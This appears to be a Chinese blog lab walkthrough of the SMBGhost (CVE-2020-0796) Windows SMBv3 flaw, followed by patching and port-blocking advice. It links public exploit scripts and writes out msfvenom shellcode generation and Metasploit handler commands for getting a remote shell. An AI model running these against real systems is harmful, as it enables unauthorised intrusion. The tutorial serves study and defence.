CVE-2020-0796(永恆之黑)漏洞
漏洞原理:
SMB遠程代碼執行漏洞
SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源於SMBv3沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法,最終導致整數溢出。
利用該漏洞,黑客可直接遠程攻擊SMB服務端遠程執行任意惡意代碼,亦可通過構建惡意SMB服務端誘導客戶端連接從而大規模攻擊客戶端。
影響版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
工具下載
漏洞檢測工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
攻擊poc:https://github.com/eerykitty/CVE-2020-0796-PoC
shell腳本:https://github.com/chompie1337/SMBGhost_RCE_PoC
Windows靶機系統:msdn我告訴你https://msdn.itellyou.cn/
或者:
https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link
漏洞攻擊-藍屏復現
環境:
目標機:windows10 1903 x64 ip:192.168.73.137(虛擬機)
攻擊機:Windows10 (物理機)
操作:
-
首先將目標機的防火牆全部關閉,防火牆所有設置都關了
-
在攻擊機上對目標機進行檢測,看其是否存在漏洞。利用下載的相關漏洞掃描工具,進入工具包路徑內在命令行中運行工具,檢測存在漏洞。
-
利用下載的poc腳本發起攻擊
python3 CVE-2020-0796.py 192.168.73.137
發現需要下載一些python文件,才能運行腳本。pip下載,根據提示下載相應文件
-
重新發起攻擊,發現目標機藍屏,攻擊成功
漏洞利用-反彈shell
環境:
目標機:windows10 1903 x64 ip:192.168.73.137(虛擬機)
攻擊機:kali ip:192.168.73.131(虛擬機)
操作:
-
首先生成一個反向連接木馬
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python 說明: #-p payload #-e 編碼方式 #-i 編碼次數 #-b 在生成的程序中避免出現的值 #LHOST,LPORT 監聽上線的主機IP和端口 #-f exe 生成EXE格式 #‘\x00‘轉義字符,對應ascall碼中為null,因為是二進制文件所以會出現,在python中作為結束的標志,有點相當於%00截斷的感覺。
-
用生成的shellcode將shell腳本工具里面的exploit.py中的user_payload替換掉。保留前面的名字,只替換內容,如圖
這里有一個小訣竅,先整體粘貼復制,然后將buf += 替換為 user_paload,就不用一行一行粘貼了,節省了很多時間。
-
開啟msf監聽模塊
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8888 set rhost 192.168.73.137 run
注意:監聽模塊的端口設置,和生成的木馬設置的端口是同一個,用於反彈shell的入口的。
-
運行exploit.py腳本,發起攻擊反彈shell
-
執行成功,查看監聽的地方,成功得到shell
這個腳本有點問題,要多試幾次才能得到shell,不用着急。這個腳本有時候會把靶機打藍屏,重啟一下靶機就好了,繼續執行腳本知道得到shell。
還有一個問題就是,如果你的靶機系統會自動更新的話會把漏洞修補掉,最好先拍一個快照,或者吧自動更新關閉。
修復建議
-
安裝官方補丁
微軟已經發布了此漏洞的安全補丁,訪問如下鏈接:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796方法一:給對應的系統打微軟出的最新補丁
系統類型 介紹 下載鏈接 Windows 10 Version 1903 for 32-bit Systems KB4551762介紹 下載 Windows 10 Version 1903 for ARM64-based Systems KB4551762介紹 下載 Windows 10 Version 1903 for x64-based Systems KB4551762介紹 下載 Windows 10 Version 1909 for 32-bit Systems KB4551762介紹 下載 Windows 10 Version 1909 for ARM64-based Systems KB4551762介紹 下載 Windows 10 Version 1909 for x64-based Systems KB4551762介紹 下載 Windows Server, version 1903 (Server Core installation) KB4551762介紹 下載 Windows Server, version 1909 (Server Core installation) KB4551762介紹 下載 -
禁用SMBv3壓縮
禁用SMB 3.0的壓縮功能,是否使用需要結合自己業務進行判斷。
使用以下PowerShell命令禁用壓縮功能,以阻止未經身份驗證的攻擊者利用SMBv3 服務器的漏洞。
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
用戶可通過以下PowerShell命令撤銷禁用壓縮功能
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令進行更改后,無需重啟即可生效;該方法僅可用來防護針對SMB服務器(SMB SERVER)的攻擊,無法對SMB客戶端(SMB Client)進行防護。 -
設置防火牆策略關閉相關端口
SMB的TCP 445端口
NetBIOS名稱解析的UDP 137端口
NetBIOS數據圖服務的UDP 138端口
NetBIOS會話服務的TCP 139端口 -
通過IP安全策略屏蔽危險端口,bat執行添加防火牆策略,關閉危險服務
http://www.piis.cn/news/new1614.asp
參考文章:
https://www.cnblogs.com/xiaoxiaosen/p/13056272.html
https://blog.csdn.net/weixin_44677409/article/details/106568350?fps=1&locationNum=2